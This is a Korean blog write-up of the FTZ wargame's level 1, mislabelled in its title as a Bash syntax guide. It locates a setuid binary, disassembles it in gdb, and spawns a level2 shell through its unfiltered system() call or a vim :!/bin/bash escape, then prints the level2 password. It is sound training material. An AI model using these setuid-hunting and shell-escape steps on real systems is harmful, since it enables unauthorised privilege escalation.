Shell Script 문법 정리
Title: Bash Shell Script 문법 정리 Author: DongDongE Tags: Programming Release: 2021.02.08 [Shell
본 Write UP은 MacBook Pro 기준으로 작성되었습니다.
올해 2020년부터는 시스템 해킹 관련 공부를 다시 복습하여 블로그에 포스팅하려고 합니다.
?? ~ ssh -c aes128-cbc level1@172.16.212.129
level1@172.16.212.129's password:
[level1@ftz level1]$ ls
hint public_html tmp
[level1@ftz level1]$ cat hint
level2 권한에 setuid가 걸린 파일을 찾는다.
[level1@ftz level1]$
cat 명령어로 힌트를 살펴보니 "level2 권한으로 Setuid가 설정된 파일을 찾는다" 라고 쓰여 있습니다.
즉, 해당 파일을 찾아 실행 또는 읽으면 문제가 풀리는 것 같네요.
[level1@ftz level1]$ find --help | grep perm
-nouser -nogroup -path PATTERN -perm [+-]MODE -regex PATTERN
[level1@ftz level1]$
find 명령의 옵션 중 "-perm" 옵션을 사용하여 해당 모드를 기준으로 조회할 수 있습니다.
[level1@ftz level1]$ find / -perm +4000 -user level2 2>/dev/null
/bin/ExecuteMe
"find / -perm +4000 -user level2 2>/dev/null" 명령을 사용하여 힌트에서 원하는 파일을 찾을 수 있게 되었습니다. 그러면 이제 해당 옵션을 알아보도록 하겠습니다.
find /
"find" 명령어를 사용하여 최상위(/) 디렉토리에서부터 찾는다
-perm +4000
Setuid는 4000이므로, Setuid가 설정된 파일을 옵션으로 설정
-user level2
소유자가 "level2"인 파일
2>/dev/null
STDERR(2) 표준 에러를 /dev/null로 버린다.
해당 옵션을 사용하여 "/bin/ExecuteMe" 파일을 찾을 수 있게 되었습니다.
[level1@ftz level1]$ find / -perm +4000 -user level2 -exec ls -la {} \; 2>/dev/null
-rwsr-x--- 1 level2 level1 12868 9월 10 2011 /bin/ExecuteMe
find 명령에 "-exec" 옵션을 추가하여 추가적인 명령을 사용할 수 있습니다.
"ls -la" 명령을 통해 해당 파일의 소유자 및 그룹권한을 확인하면 Setuid로 소유자가 "level2"로 되어 있으며, 그룹은 "level1"으로 설정되어있습니다.
[level1@ftz level1]$ find / -perm +4000 -user level2;
find: /lost+found: 허가 거부됨
find: /boot/lost+found: 허가 거부됨
find: /proc/1/fd: 허가 거부됨
find: /proc/2/fd: 허가 거부됨
find: /proc/3/fd: 허가 거부됨
find: /proc/4/fd: 허가 거부됨
find: /proc/9/fd: 허가 거부됨
find: /proc/5/fd: 허가 거부됨
find: /proc/6/fd: 허가 거부됨
find: /proc/7/fd: 허가 거부됨
find: /proc/8/fd: 허가 거부됨
find: /proc/10/fd: 허가 거부됨
find: /proc/11/fd: 허가 거부됨
find: /proc/19/fd: 허가 거부됨
find: /proc/74/fd: 허가 거부됨
find: /proc/2222/fd: 허가 거부됨
find: /proc/2535/fd: 허가 거부됨
find: /proc/2589/fd: 허가 거부됨
find: /proc/2593/fd: 허가 거부됨
find: /proc/2603/fd: 허가 거부됨
find: /proc/2622/fd: 허가 거부됨
find: /proc/2686/fd: 허가 거부됨
find: /proc/2723/fd: 허가 거부됨
find: /proc/2757/fd: 허가 거부됨
find: /proc/2766/fd: 허가 거부됨
find: /proc/2776/fd: 허가 거부됨
find: /proc/2785/fd: 허가 거부됨
find: /proc/2794/fd: 허가 거부됨
find: /proc/2837/fd: 허가 거부됨
find: /proc/2846/fd: 허가 거부됨
find: /proc/.2867/fd: 허가 거부됨
find: /proc/.2868/fd: 허가 거부됨
find: /proc/.2869/fd: 허가 거부됨
find: /proc/.2870/fd: 허가 거부됨
find: /proc/2876/fd: 허가 거부됨
find: /proc/.2877/fd: 허가 거부됨
find: /proc/.2878/fd: 허가 거부됨
find: /proc/.2879/fd: 허가 거부됨
find: /proc/.2880/fd: 허가 거부됨
find: /proc/2924/fd: 허가 거부됨
find: /proc/2925/fd: 허가 거부됨
find: /proc/2926/fd: 허가 거부됨
find: /proc/2927/fd: 허가 거부됨
find: /proc/2928/fd: 허가 거부됨
find: /proc/2929/fd: 허가 거부됨
find: /proc/2930/fd: 허가 거부됨
find: /proc/2931/fd: 허가 거부됨
find: /proc/10742/fd: 허가 거부됨
find: /proc/12013/fd: 허가 거부됨
find: /proc/12015/fd: 허가 거부됨
find: /var/lib/slocate: 허가 거부됨
find: /var/lib/nfs/statd: 허가 거부됨
find: /var/lib/dav: 허가 거부됨
find: /var/lib/mysql/mysql: 허가 거부됨
find: /var/lib/mysql/test: 허가 거부됨
find: /var/lib/pgsql: 허가 거부됨
find: /var/log/httpd: 허가 거부됨
find: /var/log/squid: 허가 거부됨
find: /var/log/samba: 허가 거부됨
find: /var/cache/mod_ssl: 허가 거부됨
find: /var/cache/alchemist/printconf.rpm: 허가 거부됨
find: /var/cache/alchemist/printconf.local: 허가 거부됨
find: /var/run/sudo: 허가 거부됨
find: /var/spool/at: 허가 거부됨
find: /var/spool/clientmqueue: 허가 거부됨
find: /var/spool/mqueue: 허가 거부됨
find: /var/spool/cron: 허가 거부됨
find: /var/spool/squid: 허가 거부됨
find: /var/empty/sshd: 허가 거부됨
find: /var/tux: 허가 거부됨
find: /etc/sysconfig/pgsql: 허가 거부됨
find: /etc/default: 허가 거부됨
find: /etc/httpd/conf/ssl.crl: 허가 거부됨
find: /etc/httpd/conf/ssl.crt: 허가 거부됨
find: /etc/httpd/conf/ssl.csr: 허가 거부됨
find: /etc/httpd/conf/ssl.key: 허가 거부됨
find: /etc/httpd/conf/ssl.prm: 허가 거부됨
find: /root: 허가 거부됨
find: /usr/share/ssl/CA: 허가 거부됨
/bin/ExecuteMe
find: /home/clear: 허가 거부됨
find: /home/level10/program: 허가 거부됨
find: /home/level5/tmp: 허가 거부됨
find: /home/trainer1: 허가 거부됨
find: /home/trainer10: 허가 거부됨
find: /home/trainer2: 허가 거부됨
find: /home/trainer3: 허가 거부됨
find: /home/trainer4: 허가 거부됨
find: /home/trainer5: 허가 거부됨
find: /home/trainer6: 허가 거부됨
find: /home/trainer7: 허가 거부됨
find: /home/trainer8: 허가 거부됨
find: /home/trainer9: 허가 거부됨
[level1@ftz level1]$
find 명령을 사용 시 "2>/dev/null" 옵션을 사용하지 않는다면 위 사진처럼 권한이 없는 파일에는 "허가 거부됨" 에러 메시지가 불필요하게 출력됩니다.
이를 정리(표시되지 않게)를 위해 표준 에러는 /dev/null로 보내 화면에 표시되지 않도록 합니다.
[level1@ftz level1]$ find / -perm +4000 -user level2 -exec ls -la {} \; 2>/dev/null
-rwsr-x--- 1 level2 level1 12868 9월 10 2011 /bin/ExecuteMe
해당 파일을 실행시켜 보도록 하겠습니다.
레벨2의 권한으로 당신이 원하는 명령어를
한가지 실행시켜 드리겠습니다.
(단, my-pass 와 chmod는 제외)
어떤 명령을 실행시키겠습니까?
[level2@ftz level2]$ ls
hint public_html tmp
레벨2의 권한으로 당신이 원하는 명령어를
한가지 실행시켜 드리겠습니다.
(단, my-pass 와 chmod는 제외)
어떤 명령을 실행시키겠습니까?
[level2@ftz level2]$ cat hint
텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...
[level1@ftz level1]$
힌트를 확인해보면, "텍스트 파일 편집기를 이용해서 쉘에 명령을 실행시킬수있다" 형식으로 힌트를 제공하고 있습니다.
그러면 힌트를 통해 문제를 풀어보기전 해당 바이너리를 gdb로 뚜따 해보겠습니다.
주의!! gdb로 먼저 분석하기 전 꼭 "tmp" 또는 임시 디렉터리에 복사하여 분석해야 합니다. 아래와 같은 에러가 발생할 수 있습니다.
(gdb) b * 0x08048517
Breakpoint 1 at 0x8048517
(gdb) r
Starting program: /bin/ExecuteMe
Couldn't get registers: 명령이 허용되지 않음.
[level1@ftz tmp]$ cp /bin/ExecuteMe /home/level1/tmp
[level1@ftz level1]$ gdb -q /home/level1/tmp/ExecuteMe
(gdb) disass main
Dump of assembler code for function main:
0x08048488 <main+0>: push %ebp
0x08048489 <main+1>: mov %esp,%ebp
0x0804848b <main+3>: sub $0x28,%esp
0x0804848e <main+6>: and $0xfffffff0,%esp
0x08048491 <main+9>: mov $0x0,%eax
0x08048496 <main+14>: sub %eax,%esp
0x08048498 <main+16>: sub $0xc,%esp
0x0804849b <main+19>: push $0x8048680
0x080484a0 <main+24>: call 0x8048358 <system>
0x080484a5 <main+29>: add $0x10,%esp
0x080484a8 <main+32>: sub $0xc,%esp
0x080484ab <main+35>: push $0x804868f
0x080484b0 <main+40>: call 0x8048378 <chdir>
0x080484b5 <main+45>: add $0x10,%esp
0x080484b8 <main+48>: sub $0xc,%esp
0x080484bb <main+51>: push $0x80486a0
0x080484c0 <main+56>: call 0x80483a8 <printf>
0x080484c5 <main+61>: add $0x10,%esp
0x080484c8 <main+64>: sub $0xc,%esp
0x080484cb <main+67>: push $0x80486e0
0x080484d0 <main+72>: call 0x80483a8 <printf>
0x080484d5 <main+77>: add $0x10,%esp
0x080484d8 <main+80>: sub $0xc,%esp
0x080484db <main+83>: push $0x8048720
0x080484e0 <main+88>: call 0x80483a8 <printf>
0x080484e5 <main+93>: add $0x10,%esp
0x080484e8 <main+96>: sub $0xc,%esp
0x080484eb <main+99>: push $0x8048760
0x080484f0 <main+104>: call 0x80483a8 <printf>
0x080484f5 <main+109>: add $0x10,%esp
0x080484f8 <main+112>: sub $0xc,%esp
0x080484fb <main+115>: push $0x8048782
0x08048500 <main+120>: call 0x80483a8 <printf>
0x08048505 <main+125>: add $0x10,%esp
0x08048508 <main+128>: sub $0x4,%esp
0x0804850b <main+131>: pushl 0x8049948
0x08048511 <main+137>: push $0x1e
0x08048513 <main+139>: lea 0xffffffd8(%ebp),%eax
0x08048516 <main+142>: push %eax
0x08048517 <main+143>: call 0x8048368 <fgets>
0x0804851c <main+148>: add $0x10,%esp
0x0804851f <main+151>: lea 0xffffffd8(%ebp),%eax
0x08048522 <main+154>: sub $0x8,%esp
0x08048525 <main+157>: push $0x804879c
---Type <return> to continue, or q <return> to quit---
0x0804852a <main+162>: push %eax
0x0804852b <main+163>: call 0x8048388 <strstr>
0x08048530 <main+168>: add $0x10,%esp
0x08048533 <main+171>: test %eax,%eax
0x08048535 <main+173>: je 0x8048551 <main+201>
0x08048537 <main+175>: sub $0xc,%esp
0x0804853a <main+178>: push $0x80487c0
0x0804853f <main+183>: call 0x80483a8 <printf>
0x08048544 <main+188>: add $0x10,%esp
0x08048547 <main+191>: sub $0xc,%esp
0x0804854a <main+194>: push $0x0
0x0804854c <main+196>: call 0x80483c8 <exit>
0x08048551 <main+201>: lea 0xffffffd8(%ebp),%eax
0x08048554 <main+204>: sub $0x8,%esp
0x08048557 <main+207>: push $0x80487e8
0x0804855c <main+212>: push %eax
0x0804855d <main+213>: call 0x8048388 <strstr>
0x08048562 <main+218>: add $0x10,%esp
0x08048565 <main+221>: test %eax,%eax
0x08048567 <main+223>: je 0x8048583 <main+251>
0x08048569 <main+225>: sub $0xc,%esp
0x0804856c <main+228>: push $0x8048800
0x08048571 <main+233>: call 0x80483a8 <printf>
0x08048576 <main+238>: add $0x10,%esp
0x08048579 <main+241>: sub $0xc,%esp
0x0804857c <main+244>: push $0x0
0x0804857e <main+246>: call 0x80483c8 <exit>
0x08048583 <main+251>: sub $0xc,%esp
0x08048586 <main+254>: push $0x8048826
0x0804858b <main+259>: call 0x80483a8 <printf>
0x08048590 <main+264>: add $0x10,%esp
0x08048593 <main+267>: sub $0x8,%esp
0x08048596 <main+270>: push $0xbba
0x0804859b <main+275>: push $0xbba
0x080485a0 <main+280>: call 0x80483b8 <setreuid>
0x080485a5 <main+285>: add $0x10,%esp
0x080485a8 <main+288>: sub $0xc,%esp
0x080485ab <main+291>: lea 0xffffffd8(%ebp),%eax
0x080485ae <main+294>: push %eax
0x080485af <main+295>: call 0x8048358 <system>
0x080485b4 <main+300>: add $0x10,%esp
0x080485b7 <main+303>: leave
0x080485b8 <main+304>: ret
0x080485b9 <main+305>: nop
0x080485ba <main+306>: nop
---Type <return> to continue, or q <return> to quit---
0x080485bb <main+307>: nop
End of assembler dump.
위 코드를 분석해보면 대략 아래 9단계로 나눌 수 있다.
0x0804849b <main+19>: push $0x8048680
0x080484a0 <main+24>: call 0x8048358 <system>
(gdb) x/s 0x8048680
0x8048680 <_IO_stdin_used+28>: "/usr/bin/clear"
system 함수를 호출할 때 인자로 "/usr/bin/clear" 문자열을 전달하며, system 함수가 실행된다.
즉, system("/usr/bin/clear") 명령이 실행되어 출력된 화면의 버퍼를 제거한다.
스택은 아래 와 같이 쌓이게 된다.
주소 | 값 |
---|---|
0x8048680 | /usr/bin/clear |
0x080484ab <main+35>: push $0x804868f
0x080484b0 <main+40>: call 0x8048378 <chdir>
(gdb) x/s 0x804868f
0x804868f <_IO_stdin_used+43>: "/home/level2"
"/home/level2" 인자를 chdir 함수에 전달하여 실행한다.
즉, chdir("/home/level2") 명령이 실행되어 해당 디렉토리 경로로 이동한다.
주소 | 값 |
---|---|
0x8048680 | /usr/bin/clear |
0x804868f | /home/level2 |
0x080484b5 <main+45>: add $0x10,%esp
0x080484b8 <main+48>: sub $0xc,%esp
0x080484bb <main+51>: push $0x80486a0
0x080484c0 <main+56>: call 0x80483a8 <printf>
0x080484c5 <main+61>: add $0x10,%esp
0x080484c8 <main+64>: sub $0xc,%esp
0x080484cb <main+67>: push $0x80486e0
0x080484d0 <main+72>: call 0x80483a8 <printf>
0x080484d5 <main+77>: add $0x10,%esp
0x080484d8 <main+80>: sub $0xc,%esp
0x080484db <main+83>: push $0x8048720
0x080484e0 <main+88>: call 0x80483a8 <printf>
0x080484e5 <main+93>: add $0x10,%esp
0x080484e8 <main+96>: sub $0xc,%esp
0x080484eb <main+99>: push $0x8048760
0x080484f0 <main+104>: call 0x80483a8 <printf>
0x080484f5 <main+109>: add $0x10,%esp
0x080484f8 <main+112>: sub $0xc,%esp
0x080484fb <main+115>: push $0x8048782
0x08048500 <main+120>: call 0x80483a8 <printf>
(gdb) x/s 0x80486a0
0x80486a0 <_IO_stdin_used+60>: "\n\n\n\t\t레벨2의 권한으로 당신이 원하는 명령어를\n"
(gdb) x/s 0x80486e0
0x80486e0 <_IO_stdin_used+124>: "\t\t한가지 실행시켜 드리겠습니다.\n"
(gdb) x/s 0x8048720
0x8048720 <_IO_stdin_used+188>: "\t\t(단, my-pass 와 chmod는 제외)\n"
(gdb) x/s 0x8048760
0x8048760 <_IO_stdin_used+252>: "\n\t\t어떤 명령을 실행시키겠습니까?\n"
(gdb) x/s 0x8048782
0x8048782 <_IO_stdin_used+286>: "\n\n\t\t[level2@ftz level2]$ "
위 printf() 함수에 전달된 인자를 하나씩 파악을 해보면 아까 실행했던 "/bin/ExecuteMe" 모니터에 출력된 문자열 그대로 전달된 걸 볼 수 있습니다.
주소 | 값 |
---|---|
0x8048680 | /usr/bin/clear |
0x804868f | /home/level2 |
0x80486a0 | \n\n\n\t\t레벨2의 권한으로 당신이 원하는 명령어를\n |
0x80486e0 | \t\t한가지 실행시켜 드리겠습니다.\n |
0x8048720 | \t\t(단, my-pass 와 chmod는 제외)\n |
0x8048760 | \n\t\t어떤 명령을 실행시키겠습니까?\n |
0x8048782 | \n\n\t\t[level2@ftz level2]$ |
0x0804850b <main+131>: pushl 0x8049948
0x08048511 <main+137>: push $0x1e
0x08048513 <main+139>: lea 0xffffffd8(%ebp),%eax
0x08048516 <main+142>: push %eax
0x08048517 <main+143>: call 0x8048368 <fgets>
0x0804851c <main+148>: add $0x10,%esp
(gdb) x/s 0x8049948
0x8049948 <stdin@@GLIBC_2.0>: ""
위 분석 내용을 바탕으로 fgets(배열주소 %ebp+0xffffffd8, 30, stdin) 함수 호출을 한다.
Stack은 함수를 호출할때 쌓이는 인자가 반대로 되어 있는걸 알 수 있습니다.
해당 배열주소에 값이 들어가는지 확인해보도록 하겠습니다.
(gdb) b * 0x0804851c
Breakpoint 1 at 0x804851c
(gdb) r
Starting program: /home/level1/tmp/ExecuteMe
레벨2의 권한으로 당신이 원하는 명령어를
한가지 실행시켜 드리겠습니다.
(단, my-pass 와 chmod는 제외)
어떤 명령을 실행시키겠습니까?
[level2@ftz level2]$ ABCDEFGHIJKL
Breakpoint 1, 0x0804851c in main ()
(gdb) x/3x $ebp+0xffffffd8
0xbfffdf20: 0x44434241 0x48474645 0x4c4b4a49
(gdb) x/3x $ebp-40
0xbfffdf20: 0x44434241 0x48474645 0x4c4b4a49
배열에는 차례대로 A부터 L까지 저장된 값을 볼 수 있습니다. (A는 41이며, 리틀엔디안/빅엔디안 차이로 41,42,43,44 차례가 아닌 44, 43, 42, 41 이러한 형식으로 되어 있습니다.)
0x0804851c <main+148>: add $0x10,%esp
0x0804851f <main+151>: lea 0xffffffd8(%ebp),%eax
0x08048522 <main+154>: sub $0x8,%esp
0x08048525 <main+157>: push $0x804879c
0x0804852a <main+162>: push %eax
---Type <return> to continue, or q <return> to quit---
0x0804852b <main+163>: call 0x8048388 <strstr>
0x08048530 <main+168>: add $0x10,%esp
0x08048533 <main+171>: test %eax,%eax
0x08048535 <main+173>: je 0x8048551 <main+201>
0x08048537 <main+175>: sub $0xc,%esp
0x0804853a <main+178>: push $0x80487c0
0x0804853f <main+183>: call 0x80483a8 <printf>
0x08048544 <main+188>: add $0x10,%esp
0x08048547 <main+191>: sub $0xc,%esp
0x0804854a <main+194>: push $0x0
0x0804854c <main+196>: call 0x80483c8 <exit>
(gdb) x/s 0x804879c
0x804879c <_IO_stdin_used+312>: "my-pass"
(gdb) x/s 0x80487c0
0x80487c0 <_IO_stdin_used+348>: "\n\t\tmy-pass 명령은 사용할 수 없습니다.\n\n"
계속 구문을 분석하다보면, 아래 strstr 함수에서 무언가 비교를 한다.
조건문(je 거짓이면 다음줄 명령 실행하고 참이면 해당 주소로 점프한다.)를 통해 "my-pass" 문자열과 사용자가 입력한 문자열 ($ebp-40주소)와 비교한다
거짓이면 "my-pass 명령은 사용할 수 없습니다." 문자가 출력하며, 아래 exit 함수를 통해 프로그램은 종료된다.
0x08048551 <main+201>: lea 0xffffffd8(%ebp),%eax
0x08048554 <main+204>: sub $0x8,%esp
0x08048557 <main+207>: push $0x80487e8
0x0804855c <main+212>: push %eax
0x0804855d <main+213>: call 0x8048388 <strstr>
0x08048562 <main+218>: add $0x10,%esp
0x08048565 <main+221>: test %eax,%eax
0x08048567 <main+223>: je 0x8048583 <main+251>
0x08048569 <main+225>: sub $0xc,%esp
0x0804856c <main+228>: push $0x8048800
0x08048571 <main+233>: call 0x80483a8 <printf>
0x08048576 <main+238>: add $0x10,%esp
0x08048579 <main+241>: sub $0xc,%esp
0x0804857c <main+244>: push $0x0
0x0804857e <main+246>: call 0x80483c8 <exit>
(gdb) x/s 0x80487e8
0x80487e8 <_IO_stdin_used+388>: "chmod"
(gdb) x/s 0x8048800
0x8048800 <_IO_stdin_used+412>: "\n\t\tchmod 명령은 사용할 수 없습니다.\n\n"
또한 앞에서 "my-pass" 구문을 검사하고 또 다시 아래 로직에서 strstr 함수를 통해 사용자에게 입력받은 값에서 "chmod" 문자열인지 비교한다.
해당 문자열이 존재한다면 "exit" 함수를 통해 프로그램을 종료한다.
0x08048596 <main+270>: push $0xbba
0x0804859b <main+275>: push $0xbba
0x080485a0 <main+280>: call 0x80483b8 <setreuid>
0x080485a5 <main+285>: add $0x10,%esp
0x080485a8 <main+288>: sub $0xc,%esp
0x080485ab <main+291>: lea 0xffffffd8(%ebp),%eax
0x080485ae <main+294>: push %eax
0x080485af <main+295>: call 0x8048358 <system>
"0xbba"는 10진수로 3002를 뜻하므로, setreuid(3002, 3002) 인자를 넣어 함수를 실행한다.
즉, 해당 권한(3002)로 사용자가 입력한 문자열을 "system" 함수에 인자로 전달되어 실행된다.
아마 3002는 level2 권한으로 예상된다.
자 그럼 이제 대략 로직을 파악했으니 본격적으로 문제를 풀어보자.
레벨2의 권한으로 당신이 원하는 명령어를
한가지 실행시켜 드리겠습니다.
(단, my-pass 와 chmod는 제외)
어떤 명령을 실행시키겠습니까?
[level2@ftz level2]$ /bin/bash
[level2@ftz level2]$ ls
hint public_html tmp
[level2@ftz level2]$ id
uid=3002(level2) gid=3001(level1) groups=3001(level1)
[level2@ftz level2]$
바로 shell을 실행시켜 level2 권한을 유지하는 방법도 있지만 아래와 같이 hint 방법대로 "vim" 편집기를 이용할 수 도 있습니다.
레벨2의 권한으로 당신이 원하는 명령어를
한가지 실행시켜 드리겠습니다.
(단, my-pass 와 chmod는 제외)
어떤 명령을 실행시키겠습니까?
[level2@ftz level2]$ vim
위와 같이 vim 편집기를 열어주세요.
~
~
~
~
~
~
~
~
~
~
~
:!/bin/bash
그리고 편집기에서 명령을 내리기 위해 ":!/bin/bash"를 입력하여 bash shell를 실행시켜주세요.
레벨2의 권한으로 당신이 원하는 명령어를
한가지 실행시켜 드리겠습니다.
(단, my-pass 와 chmod는 제외)
어떤 명령을 실행시키겠습니까?
[level2@ftz level2]$ vim
계속하려면 엔터 혹은 명령을 입력하십시오
[level2@ftz level2]$ id
uid=3002(level2) gid=3001(level1) groups=3001(level1)
[level2@ftz level2]$ my-pass
Level2 Password is "hacker or cracker".
[level2@ftz level2]$
vim를 이용해서 "level2" 권한을 유지한채 명령을 계속 시작할 수 있습니다.